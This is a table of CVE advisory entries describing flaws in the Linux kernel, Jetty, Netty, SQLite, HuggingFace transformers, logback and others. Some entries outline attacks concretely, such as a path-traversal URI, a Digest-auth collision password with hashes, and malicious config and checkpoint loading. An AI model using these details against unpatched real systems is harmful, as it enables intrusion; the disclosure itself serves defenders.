| CVE-2025-68238 | In the Linux kernel, the following vulnerability has been resolved: mtd: rawnand: cadence: fix DMA device NULL pointer dereference The DMA device pointer `dma_dev` was being dereferenced before ensuring that `cdns_ctrl->dmac` is properly initialized. Move the assignment of `dma_dev` after successfully acquiring the DMA channel to ensure the pointer is valid before use. |
| CVE-2025-68303 | In the Linux kernel, the following vulnerability has been resolved: platform/x86: intel: punit_ipc: fix memory corruption This passes the address of the pointer "&punit_ipcdev" when the intent was to pass the pointer itself "punit_ipcdev" (without the ampersand). This means that the: complete(&ipcdev->cmd_complete); in intel_punit_ioc() will write to a wrong memory address corrupting it. |
| CVE-2025-68308 | In the Linux kernel, the following vulnerability has been resolved: can: kvaser_usb: leaf: Fix potential infinite loop in command parsers The `kvaser_usb_leaf_wait_cmd()` and `kvaser_usb_leaf_read_bulk_callback` functions contain logic to zero-length commands. These commands are used to align data to the USB endpoint's wMaxPacketSize boundary. The driver attempts to skip these placeholders by aligning the buffer position `pos` to the next packet boundary using `round_up()` function. However, if zero-length command is found exactly on a packet boundary (i.e., `pos` is a multiple of wMaxPacketSize, including 0), `round_up` function will return the unchanged value of `pos`. This prevents `pos` to be increased, causing an infinite loop in the parsing logic. This patch fixes this in the function by using `pos + 1` instead. This ensures that even if `pos` is on a boundary, the calculation is based on `pos + 1`, forcing `round_up()` to always return the next aligned boundary. |
| CVE-2025-68740 | In the Linux kernel, the following vulnerability has been resolved: ima: Handle error code returned by ima_filter_rule_match() In ima_match_rules(), if ima_filter_rule_match() returns -ENOENT due to the rule being NULL, the function incorrectly skips the 'if (!rc)' check and sets 'result = true'. The LSM rule is considered a match, causing extra files to be measured by IMA. This issue can be reproduced in the following scenario: After unloading the SELinux policy module via 'semodule -d', if an IMA measurement is triggered before ima_lsm_rules is updated, in ima_match_rules(), the first call to ima_filter_rule_match() returns -ESTALE. This causes the code to enter the 'if (rc == -ESTALE && !rule_reinitialized)' block, perform ima_lsm_copy_rule() and retry. In ima_lsm_copy_rule(), since the SELinux module has been removed, the rule becomes NULL, and the second call to ima_filter_rule_match() returns -ENOENT. This bypasses the 'if (!rc)' check and results in a false match. Call trace: selinux_audit_rule_match+0x310/0x3b8 security_audit_rule_match+0x60/0xa0 ima_match_rules+0x2e4/0x4a0 ima_match_policy+0x9c/0x1e8 ima_get_action+0x48/0x60 process_measurement+0xf8/0xa98 ima_bprm_check+0x98/0xd8 security_bprm_check+0x5c/0x78 search_binary_handler+0x6c/0x318 exec_binprm+0x58/0x1b8 bprm_execve+0xb8/0x130 do_execveat_common.isra.0+0x1a8/0x258 __arm64_sys_execve+0x48/0x68 invoke_syscall+0x50/0x128 el0_svc_common.constprop.0+0xc8/0xf0 do_el0_svc+0x24/0x38 el0_svc+0x44/0x200 el0t_64_sync_handler+0x100/0x130 el0t_64_sync+0x3c8/0x3d0 Fix this by changing 'if (!rc)' to 'if (rc <= 0)' to ensure that error codes like -ENOENT do not bypass the check and accidentally result in a successful match. |
| CVE-2025-68742 | In the Linux kernel, the following vulnerability has been resolved: bpf: Fix invalid prog->stats access when update_effective_progs fails Syzkaller triggers an invalid memory access issue following fault injection in update_effective_progs. The issue can be described as follows: __cgroup_bpf_detach update_effective_progs compute_effective_progs bpf_prog_array_alloc <-- fault inject purge_effective_progs /* change to dummy_bpf_prog */ array->items[index] = &dummy_bpf_prog.prog ---softirq start--- __do_softirq ... __cgroup_bpf_run_filter_skb __bpf_prog_run_save_cb bpf_prog_run stats = this_cpu_ptr(prog->stats) /* invalid memory access */ flags = u64_stats_update_begin_irqsave(&stats->syncp) ---softirq end--- static_branch_dec(&cgroup_bpf_enabled_key[atype]) The reason is that fault injection caused update_effective_progs to fail and then changed the original prog into dummy_bpf_prog.prog in purge_effective_progs. Then a softirq came, and accessing the members of dummy_bpf_prog.prog in the softirq triggers invalid mem access. To fix it, skip updating stats when stats is NULL. |
| CVE-2025-68774 | In the Linux kernel, the following vulnerability has been resolved: hfsplus: fix missing hfs_bnode_get() in __hfs_bnode_create When sync() and link() are called concurrently, both threads may enter hfs_bnode_find() without finding the node in the hash table and proceed to create it. Thread A: hfsplus_write_inode() -> hfsplus_write_system_inode() -> hfs_btree_write() -> hfs_bnode_find(tree, 0) -> __hfs_bnode_create(tree, 0) Thread B: hfsplus_create_cat() -> hfs_brec_insert() -> hfs_bnode_split() -> hfs_bmap_alloc() -> hfs_bnode_find(tree, 0) -> __hfs_bnode_create(tree, 0) In this case, thread A creates the bnode, sets refcnt=1, and hashes it. Thread B also tries to create the same bnode, notices it has already been inserted, drops its own instance, and uses the hashed one without getting the node. ``` node2 = hfs_bnode_findhash(tree, cnid); if (!node2) { <- Thread A hash = hfs_bnode_hash(cnid); node->next_hash = tree->node_hash[hash]; tree->node_hash[hash] = node; tree->node_hash_cnt++; } else { <- Thread B spin_unlock(&tree->hash_lock); kfree(node); wait_event(node2->lock_wq, !test_bit(HFS_BNODE_NEW, &node2->flags)); return node2; } ``` However, hfs_bnode_find() requires each call to take a reference. Here both threads end up setting refcnt=1. When they later put the node, this triggers: BUG_ON(!atomic_read(&node->refcnt)) In this scenario, Thread B in fact finds the node in the hash table rather than creating a new one, and thus must take a reference. Fix this by calling hfs_bnode_get() when reusing a bnode newly created by another thread to ensure the refcount is updated correctly. A similar bug was fixed in HFS long ago in commit a9dc087fd3c4 ("fix missing hfs_bnode_get() in __hfs_bnode_create") but the same issue remained in HFS+ until now. |
| CVE-2025-69720 | The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c. |
| CVE-2025-71180 | In the Linux kernel, the following vulnerability has been resolved: counter: interrupt-cnt: Drop IRQF_NO_THREAD flag An IRQ handler can either be IRQF_NO_THREAD or acquire spinlock_t, as CONFIG_PROVE_RAW_LOCK_NESTING warns: ============================= [ BUG: Invalid wait context ] 6.18.0-rc1+git... #1 ----------------------------- some-user-space-process/1251 is trying to lock: (&counter->events_list_lock){....}-{3:3}, at: counter_push_event [counter] other info that might help us debug this: context-{2:2} no locks held by some-user-space-process/.... stack backtrace: CPU: 0 UID: 0 PID: 1251 Comm: some-user-space-process 6.18.0-rc1+git... #1 PREEMPT Call trace: show_stack (C) dump_stack_lvl dump_stack __lock_acquire lock_acquire _raw_spin_lock_irqsave counter_push_event [counter] interrupt_cnt_isr [interrupt_cnt] __handle_irq_event_percpu handle_irq_event handle_simple_irq handle_irq_desc generic_handle_domain_irq gpio_irq_handler handle_irq_desc generic_handle_domain_irq gic_handle_irq call_on_irq_stack do_interrupt_handler el0_interrupt __el0_irq_handler_common el0t_64_irq_handler el0t_64_irq ... and Sebastian correctly points out. Remove IRQF_NO_THREAD as an alternative to switching to raw_spinlock_t, because the latter would limit all potential nested locks to raw_spinlock_t only. |
| CVE-2025-71183 | In the Linux kernel, the following vulnerability has been resolved: btrfs: always detect conflicting inodes when logging inode refs After rename exchanging (either with the rename exchange operation or regular renames in multiple non-atomic steps) two inodes and at least one of them is a directory, we can end up with a log tree that contains only of the inodes and after a power failure that can result in an attempt to delete the other inode when it should not because it was not deleted before the power failure. In some case that delete attempt fails when the target inode is a directory that contains a subvolume inside it, since the log replay code is not prepared to deal with directory entries that point to root items (only inode items). 1) We have directories "dir1" (inode A) and "dir2" (inode B) under the same parent directory; 2) We have a file (inode C) under directory "dir1" (inode A); 3) We have a subvolume inside directory "dir2" (inode B); 4) All these inodes were persisted in a past transaction and we are currently at transaction N; 5) We rename the file (inode C), so at btrfs_log_new_name() we update inode C's last_unlink_trans to N; 6) We get a rename exchange for "dir1" (inode A) and "dir2" (inode B), so after the exchange "dir1" is inode B and "dir2" is inode A. During the rename exchange we call btrfs_log_new_name() for inodes A and B, but because they are directories, we don't update their last_unlink_trans to N; 7) An fsync against the file (inode C) is done, and because its inode has a last_unlink_trans with a value of N we log its parent directory (inode A) (through btrfs_log_all_parents(), called from btrfs_log_inode_parent()). 8) So we end up with inode B not logged, which now has the old name of inode A. At copy_inode_items_to_log(), when logging inode A, we did not check if we had any conflicting inode to log because inode A has a generation lower than the current transaction (created in a past transaction); 9) After a power failure, when replaying the log tree, since we find that inode A has a new name that conflicts with the name of inode B in the fs tree, we attempt to delete inode B... this is wrong since that directory was never deleted before the power failure, and because there is a subvolume inside that directory, attempting to delete it will fail since replay_dir_deletes() and btrfs_unlink_inode() are not prepared to deal with dir items that point to roots instead of inodes. When that happens the mount fails and we get a stack trace like the following: [87.2314] BTRFS info (device dm-0): start tree-log replay [87.2318] BTRFS critical (device dm-0): failed to delete reference to subvol, root 5 inode 256 parent 259 [87.2332] ------------[ cut here ]------------ [87.2338] BTRFS: Transaction aborted (error -2) [87.2346] WARNING: CPU: 1 PID: 638968 at fs/btrfs/inode.c:4345 __btrfs_unlink_inode+0x416/0x440 [btrfs] [87.2368] Modules linked in: btrfs loop dm_thin_pool (...) [87.2470] CPU: 1 UID: 0 PID: 638968 Comm: mount Tainted: G W 6.18.0-rc7-btrfs-next-218+ #2 PREEMPT(full) [87.2489] Tainted: [W]=WARN [87.2494] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014 [87.2514] RIP: 0010:__btrfs_unlink_inode+0x416/0x440 [btrfs] [87.2538] Code: c0 89 04 24 (...) [87.2568] RSP: 0018:ffffc0e741f4b9b8 EFLAGS: 00010286 [87.2574] RAX: 0000000000000000 RBX: ffff9d3ec8a6cf60 RCX: 0000000000000000 [87.2582] RDX: 0000000000000002 RSI: ffffffff84ab45a1 RDI: 00000000ffffffff [87.2591] RBP: ffff9d3ec8a6ef20 R08: 0000000000000000 R09: ffffc0e741f4b840 [87.2599] R10: ffff9d45dc1fffa8 R11: 0000000000000003 R12: ffff9d3ee26d77e0 [87.2608] R13: ffffc0e741f4ba98 R14: ffff9d4458040800 R15: ffff9d44b6b7ca10 [87.2618] FS: 00007f7b9603a840(0000) GS:ffff9d4658982000(0000) knlGS:0000000000000000 [87. ---truncated--- |
| CVE-2026-4372 | A critical remote code execution vulnerability exists in all versions of the HuggingFace transformers library prior to version 5.3.0. The vulnerability allows an attacker to craft a malicious `config.json` file containing the `_attn_implementation_internal` field set to an attacker-controlled HuggingFace Hub repository ID. When a victim loads this model using the standard `AutoModelForCausalLM.from_pretrained()` API, the library downloads and executes arbitrary Python code from the attacker's repository with the victim's full OS privileges. This issue arises due to unfiltered deserialization of configuration attributes, insufficient sanitization of internal fields, and unsandboxed execution of downloaded kernels. The vulnerability bypasses the `trust_remote_code` security mechanism, is invisible to the victim, and exploits the standard documented usage pattern, making it particularly severe. Users are advised to upgrade to version 5.3.0 or later to mitigate this issue. |
| CVE-2026-5241 | A vulnerability in the LightGlue model loading path of huggingface/transformers version 5.2.0 allows an attacker-controlled model repository to execute arbitrary code during model initialization. The issue arises because the `trust_remote_code` parameter, intended to prevent remote code execution, is overridden by untrusted serialized configuration data in a nested code path. Specifically, when loading a LightGlue model using `AutoModel.from_pretrained()` with `trust_remote_code=False`, the `LightGlueConfig` reads the `trust_remote_code` value from the untrusted `config.json` file and propagates it into nested `AutoConfig.from_pretrained()` calls. This results in the execution of attacker-provided Python modules, even when the victim explicitly disables remote code execution. The vulnerability poses a high risk for environments such as API inference servers, research notebooks, CI/CD pipelines, and model evaluation workers, potentially leading to credential theft, lateral movement, or persistence/backdoor deployment. |
| CVE-2026-6390 | A flaw was found in GNU nano's multi-buffer error message handling. When a user opens multiple files at startup and one triggers an ALERT-level error, a specially crafted filename containing printf format specifiers can be reinterpreted. This format string vulnerability may allow an attacker to achieve stack information disclosure, cause a denial of service (crash), or potentially perform arbitrary memory writes. |
| CVE-2026-6790 | In Eclipse Jetty, for HTTP/1, HTTP/2 and HTTP/3 requests, there is no strict check that the request authority (host and port) matches what provided in the Host header (if present). This was not enforced in earlier HTTP RFC (for example, in RFC 2616), but it is in the latest RFC (9110 and 9112). This mismatch can cause a number of problems that may be classified as vulnerabilities such as: * URI constructions (for example, for redirects -- this is typical for login pages) * Virtual host selection * Reverse proxying * Misleading logs * Etc. Given that the latest RFCs require that request authority and Host header must match, Jetty should enforce this invariant. |
| CVE-2026-6791 | CVE-2026-6791 |
| CVE-2026-7141 | A vulnerability was found in vllm up to 0.19.0. The affected element is the function has_mamba_layers of the file vllm/v1/kv_cache_interface.py of the component KV Block Handler. Performing a manipulation results in uninitialized resource. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is described as difficult. The exploit has been made public and could be used. The patch is named 1ad67864c0c20f167929e64c875f5c28e1aad9fd. To fix this issue, it is recommended to deploy a patch. |
| CVE-2026-8384 | In Eclipse Jetty, an HTTP URI of this form: /public;/../admin/secret.txt results in an unresolved path of: /public/../admin/secret.txt instead of the expected: /admin/secret.txt Jetty itself is not affected, as it will not serve the secret.txt file because it will not pass the alias checker (only resolved resources are served). However, web applications that rely on resolved paths being provided by Jetty may be confused when receiving an unresolved path. |
| CVE-2026-8643 | pip would treat console_scripts and gui_scripts as paths instead of file names without sanitizing the resolved absolute path to the installation directory, leading to entry points being installed outside the installation directory. |
| CVE-2026-9256 | NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_rewrite_module module. This vulnerability exists when a rewrite directive uses a regex pattern with distinct, overlapping Perl-Compatible Regular Expression (PCRE) captures (for example, ^/((.*))$) and a replacement string that references multiple such captures (for example, $1$2) in a redirect or arguments context. An unauthenticated attacker along with conditions beyond their control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated. |
| CVE-2026-9375 | urllib3 version 2.6.3 is vulnerable to a decompression bomb bypass in its streaming API (`preload_content=False`) when using Brotli support. The issue arises due to three independent code paths in `response.py` that bypass the `max_length` protection introduced in version 2.6.0 to mitigate CVE-2025-66471. Specifically, negative `max_length` values can be produced due to buffer arithmetic in `read()`, `flush_decoder` unconditionally overrides `max_length` to `-1`, and `_flush_decoder()` passes no limit at all, defaulting to unlimited decompression. This allows a malicious HTTP server to trigger an out-of-memory (OOM) condition by decompressing large payloads into memory, leading to a denial of service (DoS). The vulnerability affects urllib3 2.6.3 and Brotli 1.2.0 and impacts applications and libraries using `requests` or `urllib3` to stream content from untrusted sources. |
| CVE-2026-9828 | Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate objects from classes in the java.lang and java.util packages that are not explicitly blocked. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.32 inclusive. |
| CVE-2026-10050 | ### Summary The `DigestAuthentication.apply()` method in Jetty's HTTP client uses `getBytes(StandardCharsets.ISO_8859_1)` at three locations (lines 171, 179, 196) to compute Digest auth response hashes. ISO-8859-1 silently replaces any character above U+00FF (Chinese, Japanese, Cyrillic, Arabic, Emoji, etc.) with 0x3F (`?`), causing all such characters to produce identical hash contributions. An attacker who knows a victim's username can bypass Digest authentication by replacing all non-Latin-1 characters in the password with `?` characters, since the collision password produces the same MD5-based Digest response hash as the original password. ### Details ### Root Cause In `jetty-core/jetty-client/src/main/java/org/eclipse/jetty/client/DigestAuthentication.java`, the `apply()` method computes the three Digest auth hashes (H(A1), H(A2), and the final response) using ISO-8859-1 character encoding: ```java // Line 171 — H(A1) String hashA1 = toHexString(digester.digest(a1.getBytes(StandardCharsets.ISO_8859_1))); // Line 179 — H(A2) String hashA2 = toHexString(digester.digest(a2.getBytes(StandardCharsets.ISO_8859_1))); // Line 196 — Final response hash final String hashA3 = toHexString(digester.digest(a3.getBytes(StandardCharsets.ISO_8859_1))); ``` ISO-8859-1 (Latin-1) can only encode characters in the range U+0000–U+00FF. Any character outside this range — including all CJK, Cyrillic, Arabic, Greek, Hangul, and emoji characters — is silently replaced with the byte `0x3F` (`?`). `String.getBytes(ISO_8859_1)` in Java performs this replacement without any warning or exception. ### PoC ``` Password: "我爱Java!密码123★" (7 non-Latin-1 characters) UTF-8 encoding: 45 bytes → MD5 H(A1) = 9a4e61484f228633d5d0f95d1bbb0a99 ISO-8859-1: 31 bytes → MD5 H(A1) = d60ddc903d71913bcc3ab4a94f7fc239 Collision "??...": 31 bytes → MD5 H(A1) = d60ddc903d71913bcc3ab4a94f7fc239 ← IDENTICAL ``` Multi-language confirmation — all four language passwords below produce the same hash: ``` Chinese (密码123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Korean (비번123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Cyrillic(аб123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Greek (αβ123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Attacker(??123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 ← all collide! ``` ### Impact **Scenario 1: Authentication Bypass (Collision Attack)** If a service using Jetty for Digest authentication has a user with a non-Latin-1 password (e.g., Chinese, Japanese, Russian), an attacker can authenticate as that user using a collision password where all non-Latin-1 characters are replaced with `?`: - Original password: `我爱Java!密码123★` - Collision password: `??Java!??123?` - **Both produce identical MD5 hashes under ISO-8859-1** → Authentication succeeds This affects any password containing characters > U+00FF, which covers: - Chinese (CJK): U+4E00–U+9FFF - Japanese (Hiragana/Katakana/Kanji): U+3040–U+30FF, U+4E00+ - Korean (Hangul): U+AC00–U+D7AF - Cyrillic: U+0400–U+04FF (Russian, Ukrainian, Bulgarian, etc.) - Arabic: U+0600–U+06FF - Greek: U+0370–U+03FF - Latin Extended: U+0100–U+024F (accented European characters like ĉ, ğ, ñ when > U+00FF) - Emoji / Symbols > U+00FF **Scenario 2: Denial of Service for Non-Latin-1 Users** Most modern web applications store password hashes computed using UTF-8. When Jetty's Digest client computes a hash with ISO-8859-1, the bytes differ from what the server stored/expects. This means **any user with non-ASCII (Latin-1+) characters in their password can never successfully authenticate via Digest auth** — even the legitimate user. This is not just a security issue but a functional correctness bug that silently breaks authentication for most non-European-language users. |
| CVE-2026-10051 | In Eclipse Jetty, a first HTTP/1.1 request with trailers causes the server to retain the trailers in subsequent requests performed over the same connection. Subsequent request that do not have trailers report the trailers of the first request. Subsequent request that do have trailers report the union of trailers of the first request and the current request. |
| CVE-2026-10532 | Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection, albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate Proxy objects. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.33 inclusive. |
| CVE-2026-11822 | SQLite before 3.53.2 contains memory corruption vulnerabilities in the FTS5 full-text search extension that allow attackers to cause process crashes, memory exhaustion, or arbitrary code execution by supplying a crafted database with malformed FTS5 page data. Attackers can trigger an out-of-bounds read in fts5LeafSeek() via an attacker-controlled loop bound and a heap buffer overflow write in fts5ChunkIterate() through a crafted continuation page causing an integer underflow, exploitable when an FTS5 MATCH query is executed against the malicious database. |
| CVE-2026-11824 | SQLite before 3.53.2 contains a heap-based buffer overflow vulnerability in the FTS5 full-text search extension that allows attackers to cause a crash or execute arbitrary code by supplying a crafted database with malicious continuation page metadata specifying a szLeaf value smaller than 4. Attackers can trigger an integer underflow in fts5ChunkIterate() causing an inflated remaining byte count during FTS5 MATCH query processing, leading to a heap buffer overflow of attacker-controlled data in applications compiled with SQLITE_ENABLE_FTS5. |
| CVE-2026-13221 | Perl versions through 5.43.9 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk. When such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error. A pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong. |
| CVE-2026-13757 | A flaw was found in p11-kit. The RPC message attribute parsing functions p11_rpc_message_get_attribute() and p11_rpc_message_get_attribute_array_value() form a mutually-recursive call chain with no recursion depth limit when processing nested CKA_WRAP_TEMPLATE, CKA_UNWRAP_TEMPLATE, and CKA_DERIVE_TEMPLATE attributes. An unauthenticated attacker with local access to the p11-kit RPC Unix domain socket can send a specially crafted request with deeply nested template attributes, causing stack exhaustion and crashing the p11-kit server process and its dependent services. |
| CVE-2026-25680 | Parsing arbitrary HTML can consume excessive CPU time, possibly leading to denial of service. |
| CVE-2026-31253 | The flash-attention training framework thru commit e724e2588cbe754beb97cf7c011b5e7e34119e62 (2025-13-04) contains an insecure deserialization vulnerability (CWE-502) in its checkpoint loading mechanism. The load_checkpoint() function in checkpoint.py and the checkpoint loading code in eval.py use torch.load() without enabling the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing a maliciously crafted checkpoint file. When a victim loads this checkpoint during model warmstarting or evaluation, arbitrary code is executed on the victim's system. |
| CVE-2026-33810 | When verifying a certificate chain containing excluded DNS constraints, these constraints are not correctly applied to wildcard DNS SANs which use a different case than the constraint. This only affects validation of otherwise trusted certificate chains, issued by a root CA in the VerifyOptions.Roots CertPool, or in the system certificate pool. |
| CVE-2026-35563 | It was identified that the LDAP client implementation in version 2.1.7 does not verify if the server certificate matches the intended LDAP hostname. While the underlying code validates the certificate chain against a trusted authority, the absence of endpoint identification allows a valid certificate issued for an entirely unrelated host to be improperly accepted. This oversight leaves the connection highly vulnerable to server impersonation and complete connection compromise. The root cause of this vulnerability lies in the incomplete TLS server identity verification within the LDAP client implementation. The attacker requires MITM capability on the network to exploit this vulnerability. This attacker must be able to present a certificate trusted by the client's configured trust store. The hostname verification has been enforced in the new version of the LDAP API |
| CVE-2026-39822 | On Unix systems, opening a file in an os.Root improperly follows symlinks to locations outside of the Root when the final path component of the a path is a symbolic link and the path ends in /. For example, 'root.Open("symlink/")' will open "symlink" even when "symlink" is a symbolic link pointing outside of the root. |
| CVE-2026-41178 | OpenTelemetry-Go is the Go implementation of OpenTelemetry. Versions 1.41.0 and 1.43.0 removed raw-length rejection and it causes `Parse` to process arbitrarily large/invalid baggage headers and log errors, enabling DoS via oversized inputs. Versions 1.42.0 and 1.44.0 fix the issue. |
| CVE-2026-41991 | GNU gzip contains a vulnerability in the gzexe utility related to insecure temporary file handling. When the mktemp utility is not available in the user’s PATH, gzexe falls back to constructing a temporary file path based solely on the process ID (PID). This predictable filename is created without exclusive access or existence checks. A local attacker can pre‑create the predicted temporary file path as a symbolic link pointing to an arbitrary file writable by the victim. When gzexe runs, it follows the symlink and overwrites the target file, resulting in a time‑of‑check to time‑of‑use (TOCTOU) condition that allows arbitrary file overwrite. This issue has been fixed in the commit 4e6f8b24ab823146ab8776f0b7fe486ab34d4269 |
| CVE-2026-41992 | GNU gzip contains a global buffer overflow vulnerability in the LZH decompression logic caused by improper reuse of shared global state between different decompression formats within a single execution. GNU gzip maintains a global array that is shared across the LZ77, LZW, and LZH decompression routines and is not reinitialized between files processed in the same invocation. By decompressing a specially crafted LZW file followed by a specially crafted LZH file in a single gzip -d command, an attacker can poison the shared global state and subsequently trigger an out‑of‑bounds read in the LZH decoder. The LZH decompression logic follows stale values left in the shared array, causing reads past the end of the allocated global buffer. This issue has been fixed in the commit 63dbf6b3b9e6e781df1a6a64e609b10e23969681 |
| CVE-2026-42505 | Handshakes which used Encrypted Client Hello could be de-anonymized by a passive network observer due to a disclosure of pre-shared key identities in the unencrypted client hello. |
| CVE-2026-42508 | Previously, a revoked 'SignatureKey' belonging to a CA was not correctly checked for revocation. Now, both the 'key' and 'key.SignatureKey' are checked for @revoked. |
| CVE-2026-42578 | Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final. |
| CVE-2026-42579 | Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final. |
| CVE-2026-43827 | Default configurations of Apache Shiro have a session fixation vulnerability. This issue affects Apache Shiro from 1.0 to 2.1.0, and 3.0.0-alpha-1. Users are recommended to upgrade to version 2.1.1, or 3.0.0-alpha-2 or later, which fixes the issue. In the affected versions, when a session already exists, it is not invalidated upon successful login, nor is a new session being generated with a new ID. |
| CVE-2026-43828 | Default configurations of Apache Shiro send sensitive cookies in HTTPS session without 'Secure' attribute. This issue affects Apache Shiro from 1.0 to 2.1.0, and 3.0.0-alpha-1. Users are recommended to upgrade to version 2.1.1, or 3.0.0-alpha-2 or later, which fixes the issue. In the affected versions, Shiro-native session manager, as well as Remember-Me manager sends JSESSIONID and rememberMe cookies without 'secure' attribute by default. |
| CVE-2026-44512 | Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.9.0 before 1.22.0, onnx.version_converter.convert_version() can dereference a null pointer in Upsample_6_7::adapt_upsample_6_7() in onnx/version_converter/adapters/upsample_6_7.h when processing an untrusted model with an Upsample node that has zero inputs, causing an unrecoverable denial of service. This issue is fixed in version 1.22.0. |
| CVE-2026-44660 | UltraJSON is a fast JSON encoder and decoder written in pure C with bindings for Python 3.7+. Prior to 5.12.1, when ujson.dump() writes to a file-like object and the write operation raises an exception, the serialized JSON string object is not decremented, leaking memory. Each failed write operation leaks the full size of the serialized payload. This vulnerability is fixed in 5.12.1. |
| CVE-2026-45673 | Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's DNS resolver uses a predictable PRNG for generating DNS transaction IDs and defaults to a static UDP source port. This combination reduces the entropy of DNS queries, enabling DNS Cache Poisoning (Kaminsky attack). Versions 4.1.135.Final and 4.2.15.Final patch the issue. |
| CVE-2026-45674 | Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's DnsResolveContext fails to validate the origin (bailiwick) of CNAME records in DNS responses. Versions 4.1.135.Final and 4.2.15.Final patch the issue. |
| CVE-2026-47065 | ZDRES-232: resolveProxyClass Not Overridden - acceptMatchers Filter Bypass via java.lang.reflect.Proxy Assessment: Fully addressed. When the serialised stream contains a TC_PROXYCLASSDESC (the marker for a java.lang.reflect.Proxy ), JDK’s ObjectInputStream.readProxyDesc() is dispatched. JDK then calls the default ObjectInputStream.resolveProxyClass(interfaces) implementation, which performs Class.forName(intf, false, latestUserDefinedLoader()) for EACH interface name and constructs the proxy class — bypassing the accepted classes list . ZDRES-233: Class.forName(name, initialize=true, classLoader) in readClassDescriptor Triggers Static Initialiser of Allow-Listed Classes Assessment: Fully addressed. For ANY class on the allow-list, deserialising a stream that names it triggers the class’s (static initialiser) BEFORE any instance is constructed. This means an attacker who supplies a class name on the allow-list (e.g., the developer wrote accept(“com.myapp.*") , attacker supplies com.myapp.SomeClass ) causes <clinit> of SomeClass — and many real-world classes have side-effecting static initialisers Both issues have been fixed. |
| CVE-2026-47691 | Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's `DnsResolveContext` insufficiently validates the bailiwick of NS records, enabling DNS Cache Poisoning. An attacker controlling an authoritative name server for a subdomain can poison the cache for parent domains (like `.co.uk`). In `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add` method accepts any NS record from the AUTHORITY section as long as the record's name is a suffix of the questionName. Subsequently, the `handleWithAdditional` method caches the associated A records from the ADDITIONAL section directly into the `authoritativeDnsServerCache` under the parent domain's key. This bypasses standard bailiwick rules, where a server authoritative for a subdomain should not be trusted to provide authoritative records for its parent. The poisoned cache is then used for all future resolutions under the parent domain's key. Versions 4.1.135.Final and 4.2.15.Final patch the issue. |
| CVE-2026-50812 | A NULL pointer dereference in the SQLite Session Extension in SQLite 3.53.1 and SQLite trunk builds before check-in e807d4e3798efd53 allows an attacker who can supply a malformed changeset blob to cause a denial of service. The issue occurs when sqlite3changeset_apply_v3() applies a corrupt changeset and reaches sqlite3_value_type() with a NULL sqlite3_value pointer. |
| CVE-2026-50813 | An issue in SQLite before Fossil check-in 869a51ae84df allows a local attacker to obtain sensitive information via the Session Extension changeset concat/changegroup merge path |
| CVE-2026-52869 | The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). Prior to 1.27.2, the SSE and stateful Streamable HTTP transports mcp.server.sse.SseServerTransport and mcp.server.streamable_http_manager.StreamableHTTPSessionManager route requests to existing sessions using only the session_id query parameter or Mcp-Session-Id header without verifying the authenticated principal that created the session, allowing a different bearer-token-authenticated client with a known session ID to inject JSON-RPC messages into that session. This issue is fixed in version 1.27.2. |
| CVE-2026-52870 | The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). From 1.23.0 until 1.27.2, default handlers installed by server.experimental.enable_tasks() for tasks/list, tasks/get, tasks/result, and tasks/cancel operate only on task identifiers without recording the session that created each task, allowing any connected client to enumerate, read results from, consume messages for, or cancel other clients' tasks. This issue is fixed in version 1.27.2. |
